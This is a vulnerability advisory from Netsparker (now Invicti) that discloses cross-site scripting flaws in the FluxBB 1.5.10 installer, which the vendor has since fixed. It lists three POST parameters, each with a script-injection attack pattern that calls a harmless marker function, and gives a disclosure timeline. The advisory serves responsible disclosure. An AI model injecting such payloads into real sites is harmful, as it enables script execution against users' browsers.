Multiple Cross-site Scripting Vulnerabilities in FluxBB 1.5.10

Information

Advisory by Netsparker (now Invicti)
Name: Cross-site Scripting Vulnerabilities in FluxBB 1.5.10
Affected Software: FluxBB
Affected Versions: 1.5.10
Homepage: https://fluxbb.org/
Vulnerability: Cross-site Scripting
Severity: High
Status: Fixed
CVE-ID: CVE-2018-13148
CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Invicti Advisory Reference: NS-18-047

Technical Details

URL: http://app.scan/ScanApp/fluxbb-1.5.10-install/install.php
Parameter Name: req_db_host
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>netsparker(0x002883)</scRipt>

URL: http://app.scan/ScanApp/fluxbb-1.5.10-install/install.php
Parameter Name: db_username
Parameter Type: POST
Attack Pattern: '><scRipt>netsparker(9)</scRipt>

URL: http://app.scan/ScanApp/fluxbb-1.5.10-install/install.php
Parameter Name: req_default_style
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>netsparker(0x002D7C)</scRipt>

For more information on cross-site scripting vulnerabilities, read the section Cross-site scripting (XSS).

Advisory Timeline

15th November 2017 – First Contact
13th January 2018 – Vendor Fixed
11th January 2019 – Advisory Released

Credits & Authors

These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

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